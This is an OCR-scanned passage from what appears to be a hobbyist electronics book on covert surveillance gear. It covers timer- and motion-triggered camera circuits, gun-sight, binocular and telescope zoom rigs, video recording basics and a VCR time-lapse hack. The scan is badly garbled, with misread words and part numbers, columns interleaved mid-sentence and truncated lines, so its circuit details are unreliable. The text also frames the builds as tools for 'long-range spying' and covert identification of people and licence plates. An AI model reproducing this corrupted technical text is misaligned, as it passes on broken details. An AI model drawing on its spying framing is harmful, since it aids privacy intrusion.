level  of  detail  to  work  with.  How  about  we  take 
that  hacked  digital  camera  presented  earlier  in  this 
section,  and  hook  it  up  to  some  time-controlled 
trigger  to  allow  unattended  automatic  operation? 
Yes,  that  would  indeed  create  a unique  imaging 
system  that  would  trade  frames  per  second  for 
pixels  per  inch.  Take  a look  at  the  schematic  in 


Figure  4<7  for  the  time-lapse  camera  trigger 
system. 

This  circuit  consists  of  two  sections:  a timer,  and 
a oDe-sbo(  trigger.  The  553  timer  IC  is  setup  as  a 
variable  oscillator  that  pulses  the  clock  pin  of  a 
14  stage  binary  ripple  counter,  which  in  turn  drives 
the  74121  monostable  multivibrator  acting  as  a 
one-shot  trigger  on  every  I63S4  (I4lh  bit)  clock 
pulse.  This  division  by  163S4  allows  a much 
longer  and  accurate  timing  cycle  from  the  555 
timer,  which  is  not  really  suited  for  cycles  over  one 
second  or  so.  The  one-shot  is  setup  to  drive  & relay 
through  a transistor  so  that  the  camera  trigger 
never  stays  down  for  more  than  a second  or  so, 
about  the  same  amount  of  lime  it  would  be  held  In 
if  operated  manually.  By  varying  the  200 
potentiometer,  the  timing  cycle  can  be  sec  to  lake  a 
photo  from  durations  of  approximately  one  minute 
to  well  over  10  minutes,  depending  on  the  time  out 
cycle  of  your  camera.  Most  digital  cameras  will 
shut  down  if  there  is  no  activity  on  the  photo 


R^ure  '•I-?  Time-lapse  camem  trigger  schematic. 


Project  21— Time  Lapse  Camera  Trigger 


Project  22-Motion  Sensing  Camera  Trigger 


Figure  M-B  Testing  the  rime-lapse  camera  trigger  with  a large  battery  pack. 


quality  sellings  used.  Ai  ihe  lowest  quality  setting 
(which  is  sUII  much  better  than  8 video  camera), 
you  may  be  able  to  store  1000  or  more  frames  on 
the  memory  card,  and  at  one  photo  every  minuie, 
this  would  equate  to  over  16  hours  worth  of 
time-lapse  photograjAy.  One  frame  every  minute 
may  not  seem  like  a lot  of  information,  but 
sometimes  all  you  need  is  (hat  one  single  highly 
detailed  frame  to  make  a posiiive  ideniiftcation  ai 
(he  scene  of  (he  crime:  24  hours  of  fuzzy  black  and 
while  video  will  do  you  no  good  if  you  canno; 
make  out  any  details  in  the  scene,  a problem  faced 
by  many  video  recording  security  systems.  This 
device  makes  a great  addition  to  any  home  or 
business  security  system,  and  if  you  want  to  expand 
i(  even  further  for  fully  automated  operation  then 
read  on.  We  will  add  a motion  sensor  to  the  unit. 


trigger  for  a certain  length  of  lime,  so  you  will 
have  to  set  the  delay  length  to  slightly  less  than 
this  time  to  avoid  shut  down  of  the  camera.  The 
camera  photo  trigger  is  simply  connected  to 
the  contact  points  on  the  relay  so  that  every  time 
the  tran.risior  drives  the  relay  closed,  (he  photo 
trigger  is  shorted,  causing  (he  camem  to  snap  a 
shot.  With  a frtsh  set  of  D-CeU  batteries,  the 
camera  cun  snap  photos  all  day  l«ig  at  ccfUiin 
set  Intervals  creating  a nice  srrwoih  time-lapsed 
series  of  frames  for  playback  on  the  computer. 
Figure  4-S  shows  (he  time-lapse  circuit  built 
onto  a small  bit  of  perf  board,  powered  by  a 
6-voU  exiemul  battery  pack. 

The  only  limitation  of  the  device  ia  the  amount  of 
storage  available  on  the  camera’s  memory  card,  and 
this  will  vary  depending  on  ihc  image  formal  and 


Project  22— Motion  Sensing  Camera  Trigger 


circuit,  an  infrared  heat  sensing  motion  detector 
will  trigger  the  one-shot  so  that  a photo  will  be 
taken  any  time  movement  has  been  delected. 

The  motion  sensor  is  a standard  outdoor  unit 
with  the  AC  lighting  receptacles  removed  so  that 
the  relay  contacts  can  be  fed  directly  into  the 


For  this  project,  you  will  need  a handful  of  pans 
including  a 74121 1C.  a transistor,  a relay,  and  a 
motion  detector.  The  schematic  presented  in 
Figure  4-9  is  very  similar  to  the  schematic  for  (he 
lime-lapse  timer  shown  in  Figure  4-7  with  the 
exception  of  the  timer  section  of  the  circuit.  In  this 
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Motion  stnsinf  carntra  trigger  tchtmatk. 


4121  ICs  trigger  pin.  When  working  with  nothing  more  than  puise  shaping,  and  yes, 

,HJtdoor  motion  sensors,  it  is  very  imponani  to  if  the  pulse  coming  from  the  sensing  device 

.solace  the  relay  contacts  so  that  no  mains  power  was  appropriate  to  trigger  the  camera,  the  rest 
%ill  enter  your  circuit-  The  best  way  to  do  this  is  of  the  circuit  could  be  omitted  entirely.  Most 
m cut  all  traces  around  the  contact  pins  on  the  infrared  motion  sensors  have  a few  adjustments 

-clay  and  solder  new  wires  in  place.  If  you  do  not  such  as  daylight  discrimination  and  delay  so  that 

tel  comfonable  hacking  an  outdoor  motion  the  length  of  time  the  lights  will  slay  on  can  be 

<nsor  then  you  have  two  other  options:  a l2«volt  set.  For  this  project,  you  will  want  to  adjust  the 

security  motion  sensor  already  designed  for  this  delay  to  the  absolute  minimum  or  to  a point  that 

“ipe  of  operation,  or  a board  level  motion  sensor  the  motion  sensor’s  relay  will  open  back-up 

•tih  TTL  outputs  available  for  5- volt  operation.  after  about  10  seconds  of  inactivity.  This  setting 

Tbt  type  of  sensor  is  up  to  you,  and  it  can  be  will  ensure  that  the  camera  keeps  .snapping 

a>  type  of  movement  sensor  you  like  including  photos  as  long  as  the  body  that  is  setting  off 

* OKfCury  switch,  proximity  alarm,  or  any  other  the  motions  sensor  keeps  moving.  Now  you 
aesict  capable  of  either  closing  a relay  or  will  only  have  photos  recorded  to  memory  if 

rapuUing  a 5-volt  pulse.  The  length  of  the  pulse  there  is  something  to  see.  unlike  the  time-lapse 
r<OTjng  from  the  sensor  device  is  not  important.  photograiAy  generated  in  the  last  project. 

» the  74121 1C  will  shape  the  pulse  into  a one  Figure  4-10  shows  the  completed  motion  sensing 

wood  on/off  pulse  at  its  output  pin  which  is  trigger  built  on  a bit  of  perf  board  and  powered 

te  fed  into  the  base  of  the  transistor  to  drive  by  Ibe  same  6- volt  batlcry  pack  used  to  power  the 

te  trigger  switch  relay.  The  entire  circuit  does  digital  camera. 
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Project  22  —Mo  t±on  Sensing  Camera  Trigger 


Project  23— Digital  Camera  Gun  Sight 


FI  g u re  M -lO  Morion  sensing  camera  trigger  schematic. 


The  entire  unit  can  be  placed  Ui  a weatherproof 
box  with  a clear  glass  window  and  ihcn  mounted 
In  the  same  manner  that  the  original  moiiwi 
sensing  security  lighting  was.  and  for  extended 
operation  time,  an  AC  adapter  could  replace  the 
battery  pack.  The  only  pan  you  will  need  to  access 
is  the  camera's  memory  card  or  USB  port  in  order 
to  transfer  and  clear  the  memory  card,  but  you 
could  run  the  transfer  cable  into  the  building  for 
easy  laptop  access  rather  than  opening  the  box  for 
convenience  sake.  The  only  thing  to  keep  in  mind 
when  building  this  project  is  your  digital  camera’s 
‘Time  out”  setting,  as  U may  power  down  if  no 
activity  has  been  detected  for  a while.  The  camera 
I used  in  this  oroieci  had  no  time  out  function 


over  ii>c  tunc  out  seiung,  men  you  wm  uovc  lu  owo 
a timer  to  the  focus  pins  on  the  digital  camera's 
trigger  to  wake  it  up  every  10  seconds  or  »o- 
A simple  timer  can  be  made  using  the  schematic 
from  Figure  4>7  (the  time  lapse  timer);  just 
cortoect  the  relay  to  the  ’*focus”  pin  on  the  camera 
trigger  rather  than  the  “tAoio”  pin,  as  this  will 
cause  the  camera  to  suy  online  at  all  times,  much 
the  same  way  as  pressing  a key  on  a computer  will 
stop  the  screen  saver  frtMn  activating. 

An  automatic  digiul  camera  triggered  at 
periodic  intervals  or  by  sensing  motion  is  a great 
way  to  keep  ubs  on  your  location  when  you  are 
away,  but  there  are  limes  when  you  may  want  to 
keep  ubs  on  a location  far  away  from  you,  so  keep 
on  reading  as  wc  add  some  long-range  capabilities 
10  our  digital  camera. 


Project  23— Digital  Camera  Gun  Sight 


Most  digilal  cameras  do  aol  offer  a very  high  tnakiag  >(  lose  more  derail  than  you  did  not  use 

level  of  zoom,  with  most  of  them  below  lOx  any  zoom  at  all.  Optical  zoom  is  the  only  zoom 

magnification.  Do  not  be  fooled  by  a camera  that  that  maneis.  and  it  is  very  important  that  you 
claims  to  have  300  x zoom,  as  this  is  just  some  disable  or  make  sure  never  to  use  *e  digilal  zoom 

cheesy  built-in  algorithm  that  scales  the  photo,  function  built  into  the  camera.  There  are  some  very 
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nd  cameras  ibai  offer  a decent  amouot  of 
or  aJIow  the  aiiachment  of  a celephoio  lens 
cyiOcal  double,  but  these  units  are  extremely 
nsive  and  not  well  suited  for^errilla 
graphy.  A very  simple  method  of  increasing 
digital  camera's  zoom  into  the  30x  or40x 
is  with  the  addition  of  an  inexpensive  gun 
A gun  site  is  designed  so  that  the  viewer's 
will  be  placed  a few  inches  back  from  the  exit 
and  because  of  this,  it  will  be  very  easy  to 
mme  the  gun  sight  with  the  camera's  optics  even  if 
^re  are  no  threads  or  ad^er  rings  available  on 
your  camera.  You  could  attempt  to  hold  dte  gun 
ughi  a few  inches  in  front  of  the  camera  lens  and 
aap  a photo,  but  this  will  take  a lot  of  lime  and 
■ost  likely  produce  an  image  with  the  edges  out 
<d  focus  due  to  misalignment,  The  best  way  to 
add  a gun  sight  to  your  camera  is  by  fasiening 
both  units  to  a base  made  from  some  wood  or 
pUsiic,  This  way.  proper  alignment  can  be 
achieved  for  crisp  clear  images  at  great  distances. 
Mounting  both  the  gun  sight  and  the  camera  to  a 
base  will  be  easy  since  they  both  have  mounting 
threads  on  their  bottoms  — one  bolt  for  the 
camera  like  the  one  on  a tripod,  and  two  or  more 
bolts  for  the  gun  sight.  Figure  4>I  1 shows  a 
mounting  system  consisting  of  a strip  of  i-inch 
nylon  cut  from  a cutting  board  used  to  form  a 
sturdy  yet  lightweight  base. 

There  is  no  magic  formula  for  calculating  the 
correct  distance  from  the  gun  sight  to  the  camera 
lens,  and  (his  is  done  by  trial  and  error.  Start  by 
mounting  the  gun  sight  onto  (he  base  so  (hat  the 
center  of  its  exit  lens  will  be  placed  at  the  same 
height  as  the  center  of  the  digital  camera's  main 
lens.  Leave  enough  room  for  the  camera  lo  mount 
to  the  base  at  a distance  of  at  least  three  inches 
from  the  exit  lens;  (his  will  be  our  safety  net.  Thm 
on  the  digital  camera,  and  press  the  zoom  function 
to  the  widest  angle  (least  amount  of  zoom 
possible),  as  this  will  allow  the  camera  to  focus  on 
the  exit  lens  of  the  gun  sight.  While  looking 
through  the  camera's  vicwhnder.  move  the  camera 
into  whatever  position  behind  the  gun  sight 


Figure  M'11  Camera  anj  gM  sighJ  mounted  to  a strip 
of  nyhn  piasiic. 

produces  the  sharpest  image,  then  mark  this  spot  to 
drill  (he  mounting  hole.  Since  the  gun  sight  has  no 
focus  adjustment,  this  alignment  will  be  an  easy 
task.  You  will  notice  that  noi  all  of  the  image 
sensor  will  be  in  use  when  looking  through  the  gun 
sight,  and  there  will  be  a black  circle  surrounding 
[be  image  as  shown  in  Figure  4-12.  Do  not  worry 
about  this  right  now.  just  try  to  get  the  focus  as 
sharp  as  possible. 

Once  the  mounting  bolt  is  placed  at  the  proper 
distance  for  sharp  focus,  you  can  mess  around  with 
your  camera's  zoom  and  telephoto  setting  to  get 
rid  of  some  uf  that  black  border.  Depending  on 
your  camera's  optics,  you  may  be  able  to  gel  rid  of 
it  entirely.  Do  not  worry  if  all  of  your  photos  end 
up  with  a 10  percent  black  border  around  (hem,  as 
long  as  you  set  your  camera  for  full  photo  quality, 
you  will  ba\'e  more  detail  then  you  ever  need  when 
viewing  the  photos  on  your  computer.  A few  more 
peunts  when  mating  the  digital  camera  and  gun 
sight.  Do  not  use  the  flash  because  it  will  only 
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Project  23— Digital  Camera  Gun  Sight 


Project  2 4— Long-Range  Digital  Photography 


FlQure  M-IS  Thf  vamem  atkJ  gim  sight  work  we/l 
together  when  aUgned  pntperiy. 


bloom  the  image  due  (o  refleciions  on  ;he  cxii  lenR 
of  ihe  guo  stghi.  Place  a bii  of  black  cloth  or 
cardboard  (not  shown  in  Figure  1 1)  over  ibe 
camera  lens  and  gun  sight  to  stop  ambient  light 
from  rcfleciing  off  the  gun  sight  exit  lens,  and  set 
your  digital  camera's  focus  and  exposure  manually 
for  best  results,  if  you  can. 

V^ih  the  digital  camera  and  gun  sight  working 
together,  you  will  have  the  ability  to  photograph 
targets  from  a safe  distance,  yet  still  bring  in  the 
small  details  as  if  yixj  were  only  a few  feet  away 
from  Ok  subject.  Thi.s  syjticm  can  easily  perform 
Just  as  well  as  a professional  digital  camera  and 
telephoto  l«is  costing  thousands  of  dollars  as  long 
as  ytiu  get  (he  alignment  set  up  correctly.  For 
farther  targets,  however,  you  arc  going  to  require 
some  seriously  powerful  optics,  but  not  to  fear,  we 
con  just  keep  on  hadting. 


Project  2M — Long-Range  Digital  Photography 


A guti  sight  is  an  easy  addition  to  any  digital 
camera  because  the  exit  lens  is  designed  for  use  at 
a distance  of  a few  inches,  making  the  union  of  the 
two  nothing  more  than  a simple  alignment  task. 
Gun  sights  usually  do  nut  utfer  tAMin  ranges  above 
yOx,  .so  for  very  longnlistance  photography  they 
are  not  going  to  fit  the  bill,  so  wt  must  move  to  the 
next  level-binoculars.  An  inexpensive  or  broken 
pair  of  binoculars  will  work  great  for  (his  hock,  as 
we  are  only  going  to  use  one  half  of  the  binoculars 
anyhow,  creating  a "monocular’'  that  will  extend 
the  zoom  range  of  our  digital  camera.  Most 
binuculurs  have  zoom  ratings  of  between  40  x and 
60  X.  with  50  X being  the  most  cummoo  style, 
about  double  the  zoom  we  could  gel  using  a gun 
sight.  Mounting  the  monocular  to  the  digital 
camera  will  be  a little  trickier  than  the  gun  sight 
since  the  exit  lenses  of  a pair  of  binoculars  arc 
designed  so  that  the  user’s  eyes  are  within  a half  an 


inch  rnnn  the  glass,  Also,  because  of  the  increased 
20om  factor,  any  slight  misalignment  in  any 
direction  will  create  a large  blacked  out  area  over 
your  photograph.  The  trick  is  to  separate  the  best 
half  of  a pair  of  binoculars  then  cm  the  support 
members  that  held  them  together  hi  such  a way 
ihai  the  unit  will  site  perfectly  parallel  u>  whatever 
surface  they  are  fastened  to.  Remove  the  pin  that 
connects  (he  twu  halves  together,  then  carefully 
file  away  at  (be  aluminum  support  arms  until  they 
create  a stand  that  will  position  the  monocular  exit 
lens  directly  in  front  of  the  digital  camera's  main 
lens.  Figure  4-13  shows  my  monocular  filed  to 
shape  and  fastened  (o  a small  aluminum  box  for 
suf^rL  The  small  digital  camera  mates  perfectly 
widi  (be  monocultf  exit  lens  for  crisp  clear  images 
at  long  distances. 

The  same  rules  apply  to  ihi,<  setup  as  they  did 
who)  working  with  the  guji  sight.  Make  sure  that 
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claims  330  x power,  then  expect  it  lo  be  usable 
to  around  100  or  so  with  some  careful  alignmem.  H 
How  do  you  know  if  your  telescope  is  an  O 

inexpensive  toy?  Simple.  Did  ii  cost  less  than  your 
car?  The  good  new  s is  that  even  ai  100  x power,  ® 
you  are  going  to  <k>uble  the  range  of  most  ^ 

binoculars,  and  by  using  a digital  camera  rather 
than  your  eyes  for  image  acquisition,  you  will  ^ 
make  the  job  of  long-range  spying  a lot  easier.  A ^ 
good  telescope  does  not  come  with  a camera  style  | 
tripod,  and  as  every  kid  who  received  one  as  a 
Resent  knows,  the  excitement  of  viewing  the  stars  0 
and  planets  usually  vanishes  right  after  the  first  use  9 
because  the  telescope  wa.s  on  such  a shaky  ba.se  ^ 
that  everything  but  the  moon  looked  like  a dancing  ^ 
white  speck  rather  than  what  might  have  been  ^ 
expected.  At  Tnagniflcaiion  levels  of  SO  x or  more,  ^ 
you  really  do  need  a solid  ba.se  such  as  a steel  pole  ^ 
mounted  into  the  ground  with  a concrete  base  or 
similar.  Does  this  mean  that  your  department  store 
telescope  will  fail  to  work  a.s  a long-range  camera  O 
zoom  attachment?  Not  at  all.  because  the  digital  H* 
camera  can  take  a f^oto  in  a fraction  of  a second.  ^ 
eliminating  the  dancing  light  effect  you  would 
experience  if  looking  through  the  eyepiece.  You 
will  have  to  make  absolutely  certain  that  alignment  ^ 
between  the  digital  camera  and  the  telescope'^ 
eyepiece  is  right  on  the  money,  or  you  will  be  ^ 
photographing  nothing  more  Uian  the  inside  of  the  ^ 
telescope's  lube,  so  this  tune  a simple  block  or  0 
board  will  not  be  enough  to  male  the  two  pieces  ft 
togcihcr.  To  gel  (be  digital  camera  and  telescope  0 
aligned  properly,  you  will  need  to  fashion  some  ^ 
type  of  lube  that  fits  snugly  over  both  the  digital  ^ 
cameras  )ens  and  the  telescope's  eyepiece.  As  ^ 
shown  in  Figure  4-14. 1 created  such  an  adapter  by  ^ 
taking  apart  a spare  Barlow  lens  adapter  (these 
ernne  with  the  tele^upe)  and  adding  set  screw.s  to 
the  tubular  casing  that  hold  the  digital  camera  in 
place. 

The  distance  between  the  digital  camera's  lens 
and  (be  eyepiece  is  also  fairly  critical,  bul  once  the 
adapter  tube  is  in  place,  it  is  easy  to  slide  either 
end  back  and  forth  to  rind  this  position,  Dq»ndlng 


^>9ur€  M-13  Alignmem  is  the  key  to  making  this 


i^nmem  Is  as  close  to  parallel  as  possible,  and 
Eov'er  (he  optics  with  some  type  of  black  paper  or 
doth  to  keep  ambient  Uglu  away  from  the  exit 
fcss.  In  my  case,  this  was  not  necessary  because 
rubber  eyepiece  that  came  with  the  binoculars 
ftfii  perfectly  around  the  digital  camera's  lens, 
nmivdy  blocking  all  arr^ieni  light  from  causing 
nleciiuns  on  the  exit  lens.  It  is  very  important  (o 
i*ocd  reflections  and  ambient  light  from  getting 
.•-between  the  camera  and  monocular  as  this 
cause  the  camera  to  open  its  iris,  effectively 
tfirt^ning  the  overall  image.  At  high  zoom  levels, 
>|QU  are  trading  light  for  distance,  so  no  loss  of 
%bt  can  be  allowed.  This  is  extremely  critical  if 
pou  plan  to  move  to  the  next  project — a union 
between  a digital  camera  and  a telescope. 

^^'hen  you  move  from  binoculars  to  a ielesc<^. 
\you  will  be  stepping  up  the  zoom  factor  by  many 
•ore  times  depending  on  the  power  levels  of  the 
ictesen  telescope,  and  this  can  be  anywhere  from 
J50x  all  the  way  up  to  350  x or  more.  At  150  x 
[■■Ciuficarion.  you  will  be  able  to  read  a wall 
iclock  though  a window  a mile  away  if  the  optics 
•a  of  decent  quality,  but  in  reality,  most  telescopes 
claim  zoom  ratings  well  beyond  what  they  will 
tf«er  be  capable  of.  If  you  have  purchased  aji 
•expensive  telescope  a deportment  store  that 
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Figure  M-1M  An  adapter  rtuide  from  a BaHaw  lens 
hrtidx  ihe  camera  to  the  eyepiece^ 

on  ih«  shape  of  your  camera's  lens,  you  may  gel 
lucky  as  I did  wiih  (he  Barlow  lens  casing,  or  you 
might  need  to  head  to  the  hardware  store  in  search 
of  a suitable  tube.  A good  place  to  find  solid 
plastic  tubing  of  various  sizes  tor  experimentation 
is  the  plumbing  section.  Black  PVC  plumbing 
tubing  and  its  various  adapters  are  great  for  this 
kind  of  work  as  they  are  stiff,  ctmly  Hied  or 
drilled,  and  can  be  heated  and  melted  into 
whatever  shape  you  need.  Once  you  have  your 
camera  to  telescope  adapter  ready,  set  up  your 
telescope  on  its  wobbly  tripod  and  target  some 
distant  object  using  the  eyepiece,  not  (he  cameni. 
If  you  have  a decent  telescope,  you  should  be  able 
to  read  a license  plate  from  a mile  away  or  more, 
but  most  likely,  you  will  not  be  able  to  hold  (he 
image  steady  enough  for  a positive  idemincation. 
Now  connect  ihe  digital  camera  adapter,  and  target 
the  same  object  while  viewing  the  image  on  the 
digital  camera’s  viewfinder.  Again,  it  will  likely 
dance  all  over  the  place.  Snap  a photo,  and  import 
the  image  Into  a computer  for  inspection,  and  if 
everything  worked  like  it  should,  the  license  plaie 
will  be  dear  as  day.  Remember,  at  these  high 
magnification  levels,  you  will  be  trading  a lot  of 
light  for  distance,  so  the  computer  will  become  a 


Figure  M*15  A iong-range  photo  shtnving  a 
brighineu»eniianced  area. 


necessity  when  viewing  the  Images,  especially  the 
brininess  and  contrasi  filters.  Figure  4-15  shows 
an  image  captured  using  the  digital  camera  and 
telesci^  at  ISO X magnification  from  a distance 
of  many  blocks.  Notice  how  much  detail  was 
captured  in  the  brighter  area  after  it  was  passed 
through  a bri^tness  and  contrast  filter.  Not  bad  for 
a department  store  telescope  with  plastic  optics! 

The  telescope  seems  to  woik  fine  up  to  about 
250  X magnilicaiion.  with  very  decent  image 
quality,  bul  at  higher  levels  the  Image  quality 
becomes  too  poor  to  make  out  any  real  details, 
even  after  (vocessing  the  image  on  the  computer. 
This  uUral<mg'ran|c  digital  camera  is  also  great 
for  spying  on  alien  planets,  and  it  can  capture 
images  of  the  moon  that  look  like  the  ones  you  see 
in  science  textbooks,  but  don't  expect  to  see 
beyond  our  galaxy  just  yet  That's  a project  for 
anodier  Evil  Genius  book  light  years  away!  In  (he 
next  section,  you  will  learn  how  to  use  video 
cameras,  recording  and  video  editing  in  your 
co>en  uperaiiwts. 


Sec1:ion  Five 


Video  Cameras  and  Recording 

Project  25 — ^Vldeo  Signal  and  Camera  Basics 


[f  you  look  on  the  back  of  any  television  end  VCR. 
such  as  the  one  shown  in  Bguie  5*1«  you  will  see 
iwo  dilTcrem  types  of  connectors  used  for  video 
input  and  output,  usually  a large  threaded  coaxial 
connector  labeled  Cable  or  Antenna,  and  a smaller 
RCA  style  connector  labeled  video  or  composite. 
The  threaded  coaxial  connector  is  of  course  the 
connection  to  your  cable  or  antenna,  and  It  will 
contain  as  little  as  a single  local  broadcast  or  as 
much  as  a hundred  or  more  channels  os  well  as 
your  Internet  access.  The  other  connector  is  the 
one  wc  are  interested  in  as  it  contains  a single 
video  signal  for  either  input  or  output  from  the 
device,  and  all  security  cameras  will  be  directly 
compatible  with  this  connector.  On  a VCR.  this 
connector  is  referred  to  os  the  *1ine  input,"  and  ii 
will  consist  of  one  RCA  connector  (usually  yellow 
in  color)  labeled  'Video  input."  as  well  as  one  or 
two  connectors  labeled  "audio  input’*  (usually 
white  and  red).  When  you  plug  a video  device  into 
these  connectors  on  your  VCR  or  television,  it  will 
display  the  signal  directly  on  the  screen  once  it  is 
set  for  line  input,  and  if  you  are  using  a video 
morutor  without  a television  tuner,  this  is  the  only 
connector  it  will  have  for  Inputting  video  devices. 

The  signal  that  is  generated  by  the  video  output 
on  most  types  of  video  camera,  from  camcorders 
to  micro  spy  cameras,  is  relatively  the  same.  It  is 
referred  to  as  an  NTSC  video  signal  because  it  was 
developed  by  the  National  Television  System 


Rgure  S-l  The  video  inpui/outpui  pane/  at  the  rear 
of  a VCR. 


Committee  io  (he  1950$.  The  NTSC  video  signal 
contains  all  the  information  that  a video  device 
needs  in  order  to  decode  the  data  into  an  image  on 
screen  including  luminance  (picture  information), 
chrominance  (color  information),  and  the  vertical 
and  horizontal  sync  pulses  that  control  (he  way  the 
image  is  drawn.  There  is  no  need  to  get  into  great 
detail  about  the  NTSC  signal  here,  as  we  are  not 
designing  a video  system  lh)m  scratch,  just 
conneciing  them  together.  Searching  the  Internet 
for  ’’NTSC  signal  basics"  will  yield  a wealth  of 
good  infbrmadon  if  you  are  interested  in  learning 
more  about  ibe  imneate  timing  involved  in  video 
signal  generatitm. 


Project  2 6— Recording  Video  Signals 


Project  26 — Recording  Video  Signals 


Picture  quality  is  probably  the  most  imponani 
aspect  to  consider  when  recording  video  ftom  a 
security  or  coven  spy  camera.  Sure,  you  Nvon’i 
need  to  wmch  your  captured  video  in  high 
definition  broadcast  quality,  but  you  wiJI  need  to 
make  out  imponant  details  in  your  scene  such  as 
license  plate  numbers,  facia)  identiHcaiions.  and  so 
on.  Just  because  your  scene  is  well  lit  and  in  focus 
does  not  guarantee  a good  video  recording. 
especioJly  if  the  recording  equipment  is  not  set  up 
properly  or  malfunctioning.  There  are  many  factors 
that  can  degrade  the  quality  of  your  video 
recording,  including  having  the  wrong  VCR  input 
setting,  bad  quality  recording  media,  faulty  or 
improper  video  cobles,  and  compression  quality, 
just  to  name  a few.  I have  learned  over  lime  that  it 
is  imperative  to  spot  check  the  video  at  the 
recording  device  just  before  you  set  the  timer  or  hit 
the  record  button,  as  this  ensures  a correctly  setup 
system.  If  you  can  sec  a good  picture  on  a video 
monitor  connected  to  a VCR  or  recording  device's 
video  output  connector,  then  you  will  usually  get 
what  you  see  as  long  ns  the  device  is  functioning 
properly.  A small  LCD  monitor  or  TV  with  a video 
input  connector  Is  perfect  for  spot  checking  your 
.setup  just  before  you  begin  recording,  and  these 
litde  uniLs  can  be  powered  from  batteries  so  they 
won't  take  up  to  much  space  in  your  toolkit. 

Figure  5‘2  shows  my  small  LCD  video  tnonitor 
displaying  live  video  from  a small  low  lux  spy 
camera. 

Once  you  can  see  the  video  at  the  recording 
device's  video  output,  you  are  almost  guaranteed 
to  get  a good  recording.  The  only  factors  that  may 
degrade  or  blank  out  your  signal  are  improper 
compression/quaJity  settings  cv  improper  setting  of 
(he  recording  timer.  Almost  all  recording  devices 
(analog  and  digitals  will  have  two  or  more  quality 
settings  for  a crade^off  between  picture  clarity  and 
length  of  recording.  The  most  obvious  example  of 


this  is  the  SP/LP/SLP  senings  on  a standard 
VCR  — Standard  Play.  Long  Play  and  Super  Long 
Play.  Depending  on  the  type  of  tape  used,  you  can 
squeeze  anywhere  from  two  hours  to  eight  huur%  or 
more  by  choosing  the  appropriate  setting,  but  be 
aware  of  the  quality  loss  when  using  LP  and  SLP, 
Because  the  VCR  moves  the  tape  slower  in  the 
extended  play  settings,  there  will  be  more 
disiortirm.  ghosting,  and  breakup  in  the  played 
back  video,  especially  if  the  tape  has  been  used 
before  or  is  of  lower  quality. 

If  you  ore  forced  to  use  LP  due  to  lime  concerns, 
then  make  sure  (hat  the  tape  is  brand  new  and  lhai 
il  is  of  decent  quality.  SLP  should  probably  never 
be  used  unless  it  is  absolutely  necessary  to  record 
for  a very  long  lime  in  a scene  where  high  detail  Is 
not  necessary.  The  difference  between  Standard 
nay  and  Extended  Play  recording  on  an  analog 
VCR  is  very  noticeable,  particulariy  when  you 
want  to  see  subtle  details  in  the  scene.  Digital 
recording  devices  also  trade  quality  for  length  of 
recording  lime  by  compressing  the  video  frame 
digitally.  Again,  it  is  best  to  try  the  settings  for 
yourself  using  the  same  camera  and  scene  to 
determine  how  the  unit  will  function,  and  which 
setting  will  be  adequate  for  your  needs. 


Rgure  5*2  A small  LCD  monitor  is  a great  tool  for 
spot  checking  \ide<K 
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The  last  factor  to  consider  when  connecting  a 
camera  to  a recording  device  is  (he  type  and  length 
oi  cabling  used  If  your  video  camera  is  only  a few 
feet  from  the  recording  device,  then  cable  type  and 
4^ialiry  is  not  really  much  of  a concern,  and  jusi 
about  any  shielded  signal  cable  will  wc^  fine.  At 
dbcances  of  20  feet  or  more,  the  quality  of  the 
cable  Stans  to  play  a role  in  the  overall  piciure 
^Mlity  since  there  could  be  signal  loss  or  noise 
■iected  into  your  video  recording.  Unfununaiely, 
Acre  is  no  magic  formula  for  detennining  how  far 
you  can  send  a video  signal  dowu  a cable  as  many 
heion  determine  this,  such  a.s  output  level  of  the 
^Dctx  quality  of  the  cable,  sensitiviiy  of  ihe 
ing  device's  input  circuitiy. 

lo  one  instance,  1 had  no  problem  with  150  feet 
used  RG-6  television  cable  even  though  ii  is  not 
ended  for  video  camera  signals,  yei  in 
r instance  1 had  dropouts  over  SO  feet  of 


PraiBct  27— Hack  a VCR 

magnetic  media  based  VCRs  ore  so  common 
that  you  can  purchase  one  new  for  under  $30 
so  they  are  great  for  security  use.  and  can 
ttsily  hacked  to  suit  your  needs  without  the  risk 
vcidentally  destroying  any  expensive 

nt.  Time-lapse  recording  can  be  a very 
way  (0  greatly  extend  the  length  of  time  that 
be  recorded  to  a single  tape,  a great  feature  to 
if  you  can't  get  access  to  the  recording  device 
the  tape  for  extended  lengths  of  time. 

•lapse  recording  extends  time  by  starting 
stopping  the  record  function  for  small  bursts 
ng  at  set  intervals,  making  it  possible  to 
several  days'  worth  of  events  to  a single 
*jr  tape.  The  drawback  to  time-lapse 
ig  is  that  you  may  miss  certain  events  that 
so  quickly  that  the  timer  fails  to  capture 
or  all  of  them  since  recording  is  constantly 
and  stopped.  Recording  a cash  drawer  for 


cable  correctly  matched  to  the  video  camera,  so 
experimemaiton  is  the  key.  If  your  cable  runs  past 
electrical  devices  such  as  florescem  light  ballasts 
or  blower  motors,  then  there  may  be  some 
interference  as  (he  electromagnetic  energy  leaks 
(hrougb  the  shielding  into  yom  signal  wire,  which 
is  another  good  reason  to  choose  quality  cable  if 
you  can. 

Also,  check  the  specifications  for  your  camera 
and  recording  device,  as  there  will  most  likely  be 
an  impedance  requirement  for  the  cable  to  be  used 
such  as  50ohm  or  75ohm.  Tesdog  your 
configuration  beforehand  is  always  a good  idea, 
especially  if  you  are  using  whatever  you  could  find 
laying  around  for  the  ad  hoc  insiallarion  of  some 
covert  video  device.  1 go  as  far  as  recording  then 
playing  back  a few  seconds  of  video  just  In  case 
someihing  is  not  set  up  prc^rly,  a.>v  there  may  be 
no  second  chance  to  try  again. 


for  Time-Lapse  Recording 

instance  would  not  be  a good  candidate  for  time 
lapse  recording,  as  the  money  may  find  Its  way 
fiom  the  register's  drawer  to  the  thief's  pocket 
between  recording  bursts.  Monitoring  a warehouse 
using  time-lapse  would  be  fine,  as  there  will  be 
ample  time  to  catch  the  license  plate  of  the 
getaway  vehicle  or  record  a shot  of  one  of  (he 
suspect's  faces  for  later  identification.  Whatever 
your  use.  here  is  a simple  time-lapse  controller  that 
can  be  "hacked''  into  any  standard  consumer  grade 
VCR  by  allowing  a microcontroller  to  start  and 
slop  the  recording  for  you  at  set  Intervals. 
Depending  on  bow  you  set  the  eight  dip  switches, 
you  can  extend  the  record  lime  of  a two-hour  tape 
from  four  houm  to  several  days'  worth  of 
inienniuem  recording. 

This  simple  project  uses  a microcomrollcr  to 
suicch  on  a relay,  which  will  be  connected  directly 
across  the  VCR's  pause  button  to  allow  the 
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coQtioUing  of  the  record  scan  ojxl  stops.  Both  the 
duration  of  record  lime  and  delay  between  record 
